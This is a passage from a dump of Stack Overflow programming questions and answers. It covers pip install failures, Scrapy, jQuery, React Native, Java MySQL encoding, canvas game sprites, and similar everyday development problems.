tokenize;__file__='C:\\cygwin64\\tmp\\pip-build-sqcinj9m\\pyrsistent\\setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record C:\cygwin64\tmp\pip-_wbdiief-record\install-record.txt --single-version-externally-managed --compile: running install running build running build_py running build_ext building 'pvectorc' extension error: [WinError 2] The system cannot find the file specified ---------------------------------------- Command "C:\Anaconda3\python.exe -c "import setuptools, tokenize;__file__='C:\\cygwin64\\tmp\\pip-build-sqcinj9m\\pyrsistent\\setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record C:\cygwin64\tmp\pip-_wbdiief-record\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in C:\cygwin64\tmp\pip-build-sqcinj9m\pyrsistent </code></pre> <p>Both python3 and pip are in the path:</p> <pre><code>$ which pip /cygdrive/c/Anaconda3/Scripts/pip $ which python /cygdrive/c/Anaconda3/python </code></pre> <p>The error is identical when trying to install rpy2 so it's not something particular to the package I'm trying to install. Does anyone have ideas of the problem or ideas for troubleshooting? I've tried debugging into the install.py but the code throwing the error is in C. I've tried doing the install in verbose mode, but it still doesn't say what file it cannot find in that case. (and if you're wondering why I haven't used conda, it's because it doesn't install pyrsistent, and for the rpy2 install, it insists on linking it to its own install of R, and even when specifying my own install, something doesn't link correctly. I've already been down that road and would like to stick to pip).</p>
40115021	0	 <p>I followed the <a href="http://support.sas.com/kb/53/105.html" rel="nofollow">support link</a> you provided, which states the following:</p> <blockquote> <p>With SAS® 9.3, the following message occurs in your SAS log when you use aliases for the value of SMTP MAIL FROM:email address and your SMTP server does not support aliases.</p> </blockquote> <p>The code above does not appear to contain a value for the FROM email address. Try configuring the following <a href="http://support.sas.com/documentation/cdl/en/lrdict/64316/HTML/default/viewer.htm#a002135033.htm" rel="nofollow">option</a> at the start of your process:</p> <pre><code>options emailid="bobby1232@email.com"; /* adjust as appropriate */ </code></pre> <p>Alternatively, try adding it to your filename as follows:</p> <pre><code>filename mymail email to=("&amp;to.@email.com") from="bobby123@email.com" TYPE = "TEXT/PLAIN" SUBJECT = "Report Status"; </code></pre>
23093858	0	 <ul> <li><p>You could expose an event on your mediator so it notifies all listeners (eg your second VM) that its values have changed. .NET has a standard way of doing this: you could implement the <code>INotifyPropertyChanged</code><br> interface:<br> <a href="http://msdn.microsoft.com/en-us/library/vstudio/system.componentmodel.inotifypropertychanged" rel="nofollow">http://msdn.microsoft.com/en-us/library/vstudio/system.componentmodel.inotifypropertychanged</a> </p> <p>An example/tutorial: <a href="http://www.dreamincode.net/forums/topic/208833-using-the-inotifypropertychanged-functionality/" rel="nofollow">http://www.dreamincode.net/forums/topic/208833-using-the-inotifypropertychanged-functionality/</a></p></li> <li><p>The easiest way would be to use a messenger implementation, please<br> read this answer: <a href="http://stackoverflow.com/a/16149579/690178">http://stackoverflow.com/a/16149579/690178</a></p></li> </ul>
17452084	0	 <p>Very good question.</p> <p><strong>Event handlers are executed in order of initialization.</strong></p> <p>I haven't really thought about this before, because my handlers never needed to know which one run first, but by the look of you fiddle I can see that the handlers are called in the same order in which they are initialized.</p> <p>In you fiddle you have a controller <code>controllerA</code> which depends on two services, <code>ServiceA</code> and <code>ServiceB</code>:</p> <pre class="lang-js prettyprint-override"><code>myModule .controller('ControllerA', [ '$scope', '$rootScope', 'ServiceA', 'ServiceB', function($scope, $rootScope, ServiceA, ServiceB) {...} ] ); </code></pre> <p>Both services and the controller define an event listener.</p> <p>Now, all dependencies need to be resolved before being injected, which means that both services will be initialized before being injected into the controller. Thus, handlers defined in the services will be called first, because service factories are initialized before controller.</p> <p>Then, you may also observe that the services are initialized in order they are injected. So <code>ServiceA</code> is initialized before <code>ServiceB</code> because they are injected in that order into the controller. If you changed their order inside the controller signature you'll see that their initilization order is also changed (<code>ServiceB</code> comes before <code>ServiceA</code>).</p> <p>So, after the services are initialized, the controller gets initialized as well, and with it, the event handler defined within.</p> <p>So, the end result is, on $broadcast, the handlers will be executed in this order: <code>ServiceA</code> handler, <code>ServiceB</code> handler, <code>ControllerA</code> handler.</p>
29145198	0	Error while implementing XSSF example <p>I want to read large Excel files (.xlsx) with java. Apache has an example how to go this <a href="http://poi.apache.org/spreadsheet/how-to.html#xssf_sax_api" rel="nofollow">here</a>. So I just copied the whole class, added the path to my .xlsx file and tried to execute it but I get this error:</p> <pre><code>Error:(96, 69) java: cannot access org.openxmlformats.schemas.spreadsheetml.x2006.main.CTRst class file for org.openxmlformats.schemas.spreadsheetml.x2006.main.CTRst not found </code></pre> <p>This error is triggered in this line in the method <code>endElement()</code>:</p> <pre><code>lastContents = new XSSFRichTextString(sst.getEntryAt(idx)).toString(); </code></pre> <p>I use this dependency for maven:</p> <pre><code>&lt;dependency&gt; &lt;groupId&gt;org.apache.poi&lt;/groupId&gt; &lt;artifactId&gt;poi-ooxml&lt;/artifactId&gt; &lt;version&gt;3.9&lt;/version&gt; &lt;/dependency&gt; </code></pre> <p>How do I fix this error?</p>
7856401	0	TTLauncherView move item to other page <p>I have a TTLauncherView in my ios app. I have allowed users to edit and move their items around, however it does not appear that you can move the item from one screen to another, does anyone know how to do this?</p>
7368750	0	How to set the cursor position at the end of a string in a text field using jQuery? <p>I am using jQuery 1.6 and I have a text field for which I would like the cursor to be positioned at the end of the string\text after the field receives focus. Is there a trivial or easy to do this?</p> <p>At this time I am using the following code:</p> <pre><code>$jQ('#css_id_value').focus(function(){ this.select(); }); $jQ('css_id_value').focus(); </code></pre>
40261458	0	 <p>Can u try to rename the file to log4j.properties and also </p> <pre><code>log4j.rootLogger=DEBUG,ERROR stdout, file </code></pre> <p>line should have either debug or error not both</p>
5248219	0	about number of bits required for Fibonacci number <p>I am reading a algorithms book by S.DasGupta. Following is text snippet from the text regarding number of bits required for nth Fibonacci number.</p> <blockquote> <p>It is reasonable to treat addition as a single computer step if small numbers are being added, 32-bit numbers say. But the nth Fibonacci number is about 0.694n bits long, and this can far exceed 32 as n grows. Arithmetic operations on arbitrarily large numbers cannot possibly be performed in a single, constant-time step.</p> </blockquote> <p>My question is for eg, for Fibonacci number F1 = 1, F2 =1, F3=2, and so on. then substituting "n" in above formula i.e., 0.694n for F1 is approximately 1, F2 is approximately 2 bits, but for F3 and so on above formula fails. I think i didn't understand propely what author mean here, can any one please help me in understanding this?</p> <p>Thanks</p>
31710546	0	Responsive divs without using flexbox <p>I'm working on a chat interface at the moment and currently have the viewport height to 100vh, with a header/navbar, a "main content" section, and the footer where the input field is located - (see fiddle <a href="http://jsfiddle.net/2L8q3r5h/15/" rel="nofollow">here</a>)</p> <p>The way I have it currently coded has the "main" section receive content from the AJAX calls made via the input field in the footer. Once enough messages are added in, only this section will become scrollable as to having the entire page become scrollable. </p> <p>My question is concerning how I could replicate this feature to make it function the same way in older legacy browsers, while still maintain the ability to have the chat section take up the remaining space between the header and footer without affecting the viewport height. My css for the chat section utilizes flexbox and currently looks like this:</p> <pre><code>.chat-section { -ms-flex: 1; -moz-flex: 1; -o-flex: 1; -webkit-flex: 1; flex: 1; background-color: #f8f8f8; border-top: 1px solid #A8A8AC; border-bottom: 1px solid #A8A8AC; overflow-y: scroll; overflow-x: hidden; } </code></pre>
26466621	1	AttributeError: 'int' object has no attribute 'rindex' <p><strong>Setup</strong></p> <p>I'm using Scrapy 0.24.4 and <a href="https://github.com/knockrentals/scrapy-elasticsearch" rel="nofollow">Scrapy-ElasticSearch 0.5</a> to scrape a website and store the results in an elasticsearch instance I have running.</p> <p>I've used <a href="http://blog.florian-hopf.de/2014/07/scrapy-and-elasticsearch.html" rel="nofollow">this blog post</a> to set it all up, with the minor modification that I documented <a href="http://blog.florian-hopf.de/2014/07/scrapy-and-elasticsearch.html?showComment=1413801748670#c1092074214387731109" rel="nofollow">here</a>.</p> <p><em>settings.py</em></p> <pre><code>BOT_NAME = 'blah' SPIDER_MODULES = ['blah.spiders'] NEWSPIDER_MODULE = 'blah.spiders' ITEM_PIPELINES = [ 'scrapyelasticsearch.scrapyelasticsearch.ElasticSearchPipeline', 100 ] ELASTICSEARCH_SERVER = 'localhost' ELASTICSEARCH_PORT = 9200 ELASTICSEARCH_INDEX = 'scrapy' ELASTICSEARCH_TYPE = 'items' </code></pre> <p><strong>Problem</strong></p> <p>If I run the following command to scrape a website:</p> <pre><code>scrapy crawl wiki -o wiki.json </code></pre> <p>With ITEM_PIPELINES commented out - then it works correctly and exports all results to a wiki.json file.</p> <p>With ITEM_PIPELINES uncommented (e.g. set to enable piping results to elasticsearch) - I get the following error:</p> <pre><code>File "/usr/local/lib/python2.7/dist-packages/scrapy/utils/misc.py", line 34, in load_object dot = path.rindex('.') AttributeError: 'int' object has no attribute 'rindex' </code></pre> <p><strong>Notes</strong></p> <ul> <li>May or may not be relevant. I actually had to change my local copy of ElasticSearchPipeline python file to comment out <a href="https://github.com/knockrentals/scrapy-elasticsearch/blob/master/scrapyelasticsearch/scrapyelasticsearch.py#L39" rel="nofollow">this block</a> which was causing syntax errors at the point at which it was indexing using uniq_id.</li> </ul> <p>Any help hugely appreciated.</p>
36544976	0	JQuery not working after null ajax responce <p>I have Jquery code</p> <pre><code>$(document).ready(function(){ $('#login').click( function () { $.post('/profile/ajax/login', { username: $('#username').val(), password: $('#password').val(), }, function (res) { if (res != null) { $.each(res, function (i, val) { $('#login-error').html('&lt;div class="alert alert-danger fade in"&gt;&lt;a class="close" data-dismiss="alert" href="#"&gt;×&lt;/a&gt;' + val + '!&lt;/div&gt;'); return false; }); } else { location.reload(); } }, 'json' ); } ); } </code></pre> <p>And have PHP code</p> <pre><code>if($_POST) { $username = $_POST['username']; $password = $_POST['password']; $post = Validation::factory($_POST); $post-&gt;rule('username', 'not_empty'); $post-&gt;rule('password', 'not_empty'); if($post-&gt;check()) { if(!Auth::instance()-&gt;login($username, $password, true)) { echo json_encode(array('Неверный Логин или Пароль')); } } else { $errors = $post-&gt;errors('validation'); echo json_encode($errors); } } </code></pre> <p>If Ajax return some text with errors (res != null) - Jquery work normally. If Ajax returned without any information nothing happens in "else" block.</p> <p>How I can solve this problem?</p>
1142354	0	 <p>If you're talking about large volumes of data (millions of rows+), then you will get have a benefit from using different tables to store them in. </p> <p>e.g. basic example 50 million log entries, assuming 5 different "types" of log table Better to have 5 x 10 million row tables than 1 x 50 million row table </p> <ul> <li><p>INSERT performance will be better with individual tables - indexes on each table will be smaller and so quicker/easier to be updated/maintained as part of the insert operation</p></li> <li><p>READ performance will be better with individual tables - less data to query, smaller indexes to traverse. Also, sounds like you'd need to store an extra column to identify what type of Log entry a record is (Product, Shipping....)</p></li> <li>MAINTENANCE on smaller tables is less painful (statistics, index defragging/rebuilding etc)</li> </ul> <p>Essentially, this is about partitioning data. From SQL 2005 onwards, it has built in support for partitioning (see <a href="http://msdn.microsoft.com/en-us/library/ms345146(SQL.90).aspx" rel="nofollow noreferrer">here</a>) but you need Enterprise Edition for that, which basically allows you to partition data in one table to improve performance (e.g. you'd have your one Log table, and then define how the data within it is partitioned)</p> <p>I listened to an interview with one of the eBay architects recently, who stressed the importance of partitioning when needing performance and scalability and I strongly agree based on my experiences.</p>
35327644	0	 <p>It turns out that a naïve approach is fairly easy; the following (<em>complete</em> <code>.travis.yml</code>) works for my purposes:</p> <pre><code>language: R install: - Rscript -e 'install.packages(c("devtools", "testthat"))' - Rscript -e 'devtools::install_github("klmr/modules")' script: make test </code></pre> <p>However, I’d still prefer a solution that can actually use the Travis declarations (<code>r_binary_packages</code>, etc.) instead of having to install dependencies manually.</p>
36785961	0	How to make React Native's ScrollView initial zoom to not be 1? <p>I want to put content (multiple images vertically arranged) in a React Native ScrollView (iOS only for now, Android will come later) that is bigger than the phone's screen, and start zoomed out so that it is all visible at the same time.</p> <p>Are there any good examples of using ScrollView.scrollResponderZoomTo in a componentDidMount call that zooms out to fit content in the screen, something like</p> <pre><code>&lt;ScrollView style={{width: 500, height: 1000}} // + whatever other properties make this work required way &gt; &lt;View style={{width: 2000, height: 5000}}&gt; &lt;Image style={{width: 2000, height: 2000}} source={.....}/&gt; &lt;Image style={{width: 2000, height: 3000}} source={.....}/&gt; &lt;/View&gt; &lt;/ScrollView&gt; </code></pre> <p>I tried setting the 'zoomScale' property, but that seems to be ignored and always uses the value 1.</p> <p>According to this issue (<a href="https://github.com/facebook/react-native/issues/2176">https://github.com/facebook/react-native/issues/2176</a>) there is a scrollResponderZoomTo function that can be used, but when I try to use it, it seems that no matter what values I give it it zooms out much too far and off center.</p> <p>The F8 sample app has a ZoomableImage module (<a href="https://github.com/fbsamples/f8app/blob/b5df451259897d1838933f01ad4596784325c2ad/js/tabs/maps/ZoomableImage.js">https://github.com/fbsamples/f8app/blob/b5df451259897d1838933f01ad4596784325c2ad/js/tabs/maps/ZoomableImage.js</a>) which uses the Image.resizeMode.contain style to make an image fit the screen, but that loses the quality of image, so when you zoom in it gets blurry.</p>
10781974	0	 <p>just use</p> <pre><code>$("#edit_form").validate({ rules: { re_password: { equalTo: "#password" } }, messages: { re_password: { equalTo: "Password does not match" } } }); </code></pre> <p>without use class "required" in input field</p> <pre><code>&lt;input id="password" type="password" name="password" class="TextBox"&gt; &lt;input id="re_password" type="password" name="re_password" class="TextBox"&gt; </code></pre>
34833883	0	Configure Solr to index metadata included in seed.txt <p>I am currently running Nutch 1.10 and solr 5.3.1, and I am attempting to crawl and index a few sites. These sites have an id and name associated (on the same line as the url in the seed.txt file) which I would like to be included along side other fields in the solr search results (such as host, segment, etc). Is this possible? If so, would I need to modify any files other than the seed.txt and schema-solr4?</p> <p>Example of what I have in seed.txt: </p> <p>www.exampleSite.com id=3 name=exampleSite</p>
19217964	0	 <p>For version 2.0</p> <p>create c# code to invoke power shell and execute 1st command for mailbox creation then dispose and write another set of c# code to invoke and execute the Active sync command and dispose.</p> <p>Note: the Domain controller should be the same for mailbox creation and Active sync.</p>
21164297	0	 <p>This is how to do it:</p> <p>You need to send a special APDU to ask for the remaining data and look for status 0x61xx cl, ins, p1, p2, = (0x00, 0xa5, 0x00, 0x00)</p> <pre><code>def _cmd_ok(self, *args, **kwargs): data, status = self._cmd(*args, **kwargs) #get high bits low = status &amp; 0xFF; high = status &gt;&gt; 8; if status != 0x9000: if high != 0x61: raise Exception('APDU error: 0x%04x' % status) else: while status != 0x9000: part, status = self._cmd(0x00, 0xa5, 0x00, 0x00) data = data + part return ''.join(map(chr, data)) </code></pre>
33061176	0	 <p>New in iOS 9, <code>CMSensorRecorder</code>(<a href="https://developer.apple.com/library/prerelease/ios/documentation/CoreMotion/Reference/CMSensorRecorder_class/index.html#//apple_ref/occ/clm/CMSensorRecorder/isAuthorizedForRecording" rel="nofollow">doc link</a>) has a class method to check if your app is authorized for Motion &amp; Fitness: </p> <ul> <li>Switft <code>class func isAuthorizedForRecording() -&gt; Bool</code></li> <li>Objective-c <code>+ (BOOL)isAuthorizedForRecording</code></li> </ul>
26104872	0	Java won't write UTF8 characters in MySQL through a JNDI datasource <p>I have configured JNDI to access a MySQL database with the UTF-8 server charset. My JNDI URL in Tomcat's context file is <code>jdbc:mysql://127.0.0.1:3306/my_db?useUnicode=true&amp;amp;characterEncoding=UTF-8"</code> The database server, the database and its table are all set to utf-8 using the instructions in this site.</p> <p>By debugging the JDBC connection it appears to use UTF-8. However an e grave character is written in the database as 0x C3 83 C2 A8. Clearly, the UTF-8 string for e grave, which is 0x C3 A8 has been misinterpreted by the server as Latin1 and 0xC3 in Latin-1 is 0xC3 83 in UTF-8, and similarly 0xA8 in Latin-1 is 0xC2 A8 in UTF-8.</p> <p>If the database is properly configured as per <a href="http://stackoverflow.com/questions/21092007/why-java-strings-are-not-saved-as-utf-8-in-mysql">Why java strings are not saved as UTF-8 in MYSQL?</a> why is the server converting the input UTF-8 string from the driver into Latin-1 and then back into UTF-8 (the encoding for the database and table I am using).</p>
7649881	0	 <p>According to <a href="http://www.php.net/manual/en/function.is-numeric.php">http://www.php.net/manual/en/function.is-numeric.php</a>, is_numeric alows something like "+0123.45e6" or "0xFF". I think this not what you expect.</p> <p>preg_match can be slow, and you can have something like 0000 or 0051.</p> <p>I prefer using ctype_digit (works only with strings, it's ok with $_GET).</p> <pre><code>&lt;?php $id = $_GET['id']; if (ctype_digit($id)) { echo 'ok'; } else { echo 'nok'; } ?&gt; </code></pre>
6017290	0	 <p>It isn't remembering the last used set on the directory, it's loading the gemset from the <code>.rvmrc</code> file in that directory</p> <p><a href="https://rvm.io/workflow/rvmrc/" rel="nofollow">https://rvm.io/workflow/rvmrc/</a></p>
15758078	0	 <p>Performance GET or POST depends on how it is implemented on server side.</p> <p>You should more concerned about RESTful convention here.</p> <p>GET : Retrieve a representation of the entry specified by the url.</p> <p>POST: Create a new entry. </p> <p>Look more <a href="https://en.wikipedia.org/wiki/Representational_state_transfer" rel="nofollow">here.</a></p>
16904739	0	Canvas not drawing image from spritesheet <p>Ok So I have managed to draw one image that is the player, but Now I am trying to draw an enemy and it just wont work. I have added alerts and it shows that the program is doing the draw enemy function but it still wont draw? </p> <p>Here is the thing running: <a href="http://www.taffatech.com/DarkOrbit.html" rel="nofollow">http://www.taffatech.com/DarkOrbit.html</a> Entire code: <a href="http://www.taffatech.com/Source.js" rel="nofollow">http://www.taffatech.com/Source.js</a></p> <p>If anyone can help me with this I would be very grateful!</p> <p>Here are my data functions:</p> <pre><code>function Player() //Object { //////Your ships values this.PlayerHullMax = 1000; this.PlayerHull = 1000; this.PlayerShieldMax = 1000; this.PlayerShield = 347; this.SpaceCrystal = 2684; this.Speed = 10; //should be around 2 pixels every-time draw is called by interval, directly linked to the fps global variable //////////// ///////////flags this.isUpKey = false; this.isDownKey = false; this.isLeftKey = false; this.isRightKey = false; ///////////// //////////extra ///////////// ////Pick Ship this.type = "Cruiser"; this.srcX = PlayerSrcXPicker(this.type); this.srcY = PlayerSrcYPicker(this.type); this.drawX = PlayerdrawXPicker(this.type); this.drawY = PlayerdrawYPicker(this.type); this.playerWidth = PlayerWidthPicker(this.type); this.playerHeight = PlayerHeightPicker(this.type); //// } Player.prototype.draw = function() { ClearPlayerCanvas(); ctxPlayer.globalAlpha=1; this.checkDirection(); //must before draw pic to canvas because you have new coords now from the click ctxPlayer.drawImage(spriteImage,this.srcX,this.srcY,this.playerWidth,this.playerHeight,this.drawX,this.drawY,this.playerWidth,this.playerHeight); }; Player.prototype.checkDirection = function() //these functions are in the PLayer class { if(this.isUpKey == true)//if true { if(Player1.drawY &gt;= (0 + this.Speed)) { this.drawY -= this.Speed; } } if(this.isRightKey == true) { if(Player1.drawX &lt;= (canvasWidthPlayer - this.playerWidth)) { this.drawX += this.Speed; } } if(this.isDownKey == true) { if(Player1.drawY &lt;= (canvasHeightPlayer - this.playerHeight)) { this.drawY += this.Speed; } } if(this.isLeftKey == true) { if(Player1.drawX &gt;= (0 + this.Speed)) { this.drawX -= this.Speed; } } }; ///////////////////END PLAYER DATA//////////////////////////////////////////////// function Enemy() //Object { //////Your ships values this.EnemyHullMax = 1000; this.EnemyHull = 1000; this.EnemyShieldMax = 1000; this.EnemyShield = 347; this.SpaceCrystalReward = 2684; this.EnemySpeed = 10; //should be around 2 pixels every-time draw is called by interval, directly linked to the fps global variable //////////// ////Pick Ship this.type = "Hover"; this.srcX = EnemySrcXPicker(this.type); this.srcY = EnemySrcYPicker(this.type); this.drawX = EnemydrawXPicker(this.type); this.drawY = EnemydrawYPicker(this.type); this.enemyWidth = EnemyWidthPicker(this.type); this.enemyHeight = EnemyHeightPicker(this.type); //// } Enemy.prototype.draw = function() { ClearEnemyCanvas(); ctxEnemy.globalAlpha=1; ctxEnemy.drawImage(spriteImage,this.srcX,this.srcY,this.playerWidth,this.playerHeight,this. drawX,this.drawY,this.playerWidth,this.playerHeight); } //////////START ENEMY DATA////////////////// function PlayerSrcXPicker(type) //these functions can be used by player and enemy { if (type == "Cruiser") { return 0; } } function PlayerSrcYPicker(type) { if (type == "Cruiser") { return 1385; } } function PlayerdrawXPicker(type) { if (type == "Cruiser") { return 100; } } function PlayerdrawYPicker(type) { if (type== "Cruiser") { return 400; } } function PlayerWidthPicker(type) { if (type == "Cruiser") { return 148; } } function PlayerHeightPicker(type) { if (type == "Cruiser") { return 85; } } function EnemySrcXPicker(type) { if (type == "Hover") { return 906; } } function EnemySrcYPicker(type) { if (type == "Hover") { return 601; } } function EnemydrawXPicker(type) { if (type == "Hover") { return 800; } } function EnemydrawYPicker(type) { if (type== "Hover") { return 300; } } function EnemyWidthPicker(type) { if (type == "Hover") { return 90; } } function EnemyHeightPicker(type) { if (type == "Hover") { return 75; } } </code></pre> <p>My init() is:</p> <pre><code>function init() { drawBackground(); Player1 = new Player(); Enemy1 = new Enemy(); drawBars(); setUpListeners(); StartDrawingShips(); } </code></pre> <p>My interval:</p> <pre><code>function UpdateShips() { Player1.draw(); Enemy1.draw(); } function StartDrawingShips() { StopDrawing(); drawInterval = setInterval(UpdateShips,fps); // redraw player every fps } function StopDrawing() { clearInterval(drawInterval); } </code></pre> <p>If you need any other information then just ask!</p>
33691557	0	 <p>Part of the <code>Type</code> logic is moved to <code>TypeInfo</code>(<a href="https://msdn.microsoft.com/en-us/library/system.reflection.typeinfo(v=vs.110).aspx">MSDN</a>) in Windows Runtime.</p> <pre><code>using System.Reflection; ... bool isSubClassOf = typeof (Dog).GetTypeInfo().IsSubclassOf(typeof (Animal)); </code></pre>
3474582	0	 <p>The timeout suggested above worked around the issue on Chrome. Not issue existed on IE8 or FF3. Thanks for the tip as always. My code that to set focus that worked is: <code>window.setTimeout(function() { document.form1.password.focus(); },0);</code></p>
2172295	0	 <p>See <a href="http://blogs.msdn.com/bimusings/archive/2005/12/14/503648.aspx" rel="nofollow noreferrer">Rendering HTML in Reporting Services Text Boxes in SQL Server 2008</a></p> <p>I've not tried it and may not apply to rdlc etc, so YMMV</p>
16510567	0	 <p>Just remove the <code>setContentView(R.layout.activity_main)</code> line in addTextView() method. Because it always sets the layout to the screen.</p>
10245064	0	 <p>You can use these rules of thumb to decide what storage model will work for your app.</p> <ul> <li>If the data fits in memory entirely and is relatively unstructured, use plist</li> <li>If the data fits in memory entirely and has tree-like structure, use XML</li> <li>If the data does not fit in memory and has a structure of a graph, and the app does not need extraordinary query capabilities, use Core Data</li> <li>If the data does not fit in memory, has a complex structure, or the app benefits from powerful query capabilities provided by relational databases, use sqlite</li> <li>If the data must be secret (e.g. a password), use <a href="https://developer.apple.com/library/ios/#documentation/security/Conceptual/keychainServConcepts/iPhoneTasks/iPhoneTasks.html">keychain</a>.</li> </ul> <p>Note that these choices often overlap, because multiple storage models will fit the same app. Your final decision depends on your personal preferences - you pick a technology that you understand better.</p> <p>There was a <a href="http://stackoverflow.com/questions/523482/core-data-vs-sqlite-3">very good question about sqlite vs. Core Data</a> on Stack Overflow, you may want to read through the answers to that question.</p>
36845177	0	 <p>Using <code>split()</code> without parameters will result in splitting after a space example <code>"test1 test2".split()</code> results in <code>["test1", "test2"]</code></p> <p>instead, try this:</p> <pre><code>newLine = line.split("|") </code></pre>
31023958	0	 <p><code>m.Attributes</code> can consist of a combination of some flag values, and <code>FileAttributes.Hidden</code> is one of them.(The complete list can be seen in <a href="https://msdn.microsoft.com/en-US/library/system.io.fileattributes.aspx" rel="nofollow">MSDN</a>)</p> <p>So, the predicate of the first statement: </p> <pre><code> m.Attributes &lt;&gt; FileAttributes.Hidden </code></pre> <p>tests "not (<code>m.Attributes</code> consists of only one flag <code>Hidden</code>)", that is even true for the value of the combinations of <code>Hidden</code> and <code>ReadOnly</code>, or <code>Hidden</code> and <code>System</code>, etc.</p> <p>The second statement:</p> <pre><code>(m.Attributes And FileAttributes.Hidden) = 0 </code></pre> <p>tests "pick up the partial value of <code>Hidden</code> from <code>m.Attribute</code>, and see if not set", that is true at least if the value doesn't have <code>Hidden</code> set, and the other flags are ignored. Hence that is false for the combinations of <code>Hidden</code> and <code>ReadOnly</code>, or <code>Hidden</code> and <code>System</code>, etc.</p> <hr> <p>As a side note, <code>.Select(Function(k) k)</code> does nothing and can be omitted. </p> <pre><code>subFolder.GetFiles().Where(Function(m) (m.Attributes And FileAttributes.Hidden) = 0).Count </code></pre>
6942014	0	 <p>There is a blog post about using activity indicators here: <a href="http://www.edumobile.org/iphone/iphone-programming-tutorials/use-activityindicator-in-iphone/" rel="nofollow">http://www.edumobile.org/iphone/iphone-programming-tutorials/use-activityindicator-in-iphone/</a></p> <p>The most important pieces of code are:</p> <pre><code>[activityView startAnimating]; [activityView stopAnimating]; //To Test for a Conditional [activityView isAnimating]; </code></pre>
13795380	0	Rails find by condition <p>Just wondering if there is any function that allows to do that:</p> <pre> MyModel.find_by_conditon(method_a - method_b > 0)</pre> <p> <code>MyModel.class</code></p> <pre> def method_a next_service_date.to_i end def method_b last_service_date.to_i end </pre> <pre> def next_service_date service_date.present? ? calculated_time_estimation : row_time_estimation end def calculated_time_estimation service_date + calculated_service_period end def calculated_service_period case(service_frequency_period) when 'Year' service_frequency_number.to_i.year when 'Month' service_frequency_number.to_i.month when 'Week' service_frequency_number.to_i.day * 7 when 'Day' service_frequency_number.to_i.day end end </pre> <p><code>service_frequency_number</code>, <code>service_frequency_period</code>, <code>service_date</code> are attributes for MyModel</p>
10195868	0	Inserting value into an array using key value <p>I have already fetched both key and value in array.how can I insert that value into another array in the same key position using that fetched key value.</p> <p>Here my coding </p> <pre><code>$key=array_search($s_str,$opis_split); //key value $value=a; //array value $push=array_push($value,$key); var_dump($push); </code></pre>
19682978	0	 <p>Maybe this could help? <a href="http://mottie.github.io/tablesorter/docs/example-locale-sort.html" rel="nofollow">jQuery Plugin: Tablesorter</a></p> <p>You may have to modify it slightly if the special character you are using is not supported but it should at least get you started.</p>
2289003	0	 <blockquote> <p>So, the "inheritance" of static members merely looks like namespace pollution</p> </blockquote> <p>That's right, except that one guy's pollution is another guy's added spicy flavouring.</p> <p>I think Martin Fowler, in his work on DSLs, has suggested using inheritance in this way to allow convenient access to static methods, allowing those methods to be used without class name qualification. So the calling code has to be in a class that inherits the class in which the methods are defined. (I think it's a rotten idea.)</p> <p>In my opinion, static members should not be mixed into a class with a non-static purpose, and the issue you raise here is part of the reason why it's important not to mix them.</p> <p>Hiding private static <em>mutable</em> data inside the implementation of an otherwise "instancey" class is particularly horrible. But then there are static methods, which are even worse mixers. Here's a typical use of static methods mixed into a class:</p> <pre><code>public class Thing { // typical per-instance stuff int _member1; protected virtual void Foo() { ... } public void Bar() { ... } // factory method public static Thing Make() { return new Thing(); } } </code></pre> <p>It's the static factory method pattern. It's pointless most of the time, but even worse is that now we have this:</p> <pre><code>public class AnotherThing : Thing { } </code></pre> <p>This now has a static <code>Make</code> method which returns a <code>Thing</code>, not a <code>AnotherThing</code>.</p> <p>This kind of mismatch strongly implies that anything with static methods should be sealed. Static members fail to integrate well with inheritance. It makes no sense to have them heritable. So I keep static things in separate static classes, and I gripe about redundantly having to declare every member static when I've already said that the class is static.</p> <p>But it's just one of those too-late-now things. All real, working languages (and libraries, and products) have a few of them. C# has remarkably few.</p>
27130355	0	 <p>In assumption that you're on a windows pc it sounds like you're experiencing a loop unrolling bug in <a href="https://code.google.com/p/angleproject/" rel="nofollow">ANGLE</a>.</p> <p>To verify this start your browser with <code>--use-gl=desktop</code>. This flag forces your browser to <em>not use</em> the ANGLE DirectX conversion layer. When your problem is indeed ANGLE based take a look at the compiled HLSL code using <a href="http://www.ianww.com/2013/01/14/debugging-angle-errors-in-webgl-on-windows/" rel="nofollow">getTranslatedShaderSource</a> and debug from there.</p> <p>Unfortunately if it is an angle based issue your only chance to get it running is either fiddling around until its converted correctly or file a bug on the angle project page.</p>
25057174	1	Scrapy crawl in order <p>I can't figure out how to make scrapy crawl links in order I've got a page with articles and in each one there is a title but the article doesn't match the title Also in settings.py I added:</p> <pre><code>DEPTH_PRIORITY = 1 SCHEDULER_DISK_QUEUE = 'scrapy.squeue.PickleFifoDiskQueue' SCHEDULER_MEMORY_QUEUE = 'scrapy.squeue.FifoMemoryQueue' </code></pre> <p>I've got something like this:</p> <pre><code>class Getgot(Spider): name = "getem" allowed_domains = ["somesite.us"] start_urls = ["file:local.html"] el = '//div[@article]' def parse(self,response): hxs = HtmlXPathSelector(response) s = hxs.select('//article') filename = ("links.txt") filly = open(filename, "w") for i in s: t = i.select('a/@href').extract() filly.write(str(t[0])+'\n') yield Request(str(t[0]),callback=self.parse_page) def parse_page(self,res): hxs = HtmlXPathSelector(res) s = hxs.select('//iframe').extract() if s: filename = ("frames.txt") filly = open(filename, "a") filly.write(str(s[0])+'\n') else: filename = ("/frames.txt") filly = open(filename, "a") filly.write('[]\n') </code></pre>
22996315	0	 <p><code>SpringApplication</code> has a property <code>webEnvironment</code>. It defaults to true if Tomcat is on the classpath but you can set it to false (programmatically or with <code>spring.main.webEnvironment</code>).</p>
7573528	0	Data binding - Visual Studio 2010 <p>I am working with Visual Studio 2010.</p> <p>Scenario:</p> <p>I have 2 comboboxes. Contents of first combobox:</p> <p>PC</p> <p>DB...</p> <p>Contents of Second combobox:</p> <p>Password reset</p> <p>Hardware problem</p> <p>SQL</p> <p>My question:</p> <p>When I select 'PC' in the first combo box I want 'Password Reset' and 'Hardware Problem' to show up.</p> <p>When I select 'DB' in first combobox I want 'SQL' to show up in the second combo box.</p> <p>Does anyone know how I can bind data from one combo box to the other ?</p> <p>Also when I click on 'DB' ->'SQL' then a 3rd list box with data under these two combo items should be populated.</p> <p>I feel this relates to data binding but not sure how to go about it.</p> <p>ANy idea or link I could refer to??</p> <p>Please help.</p> <p>Thank you.</p>
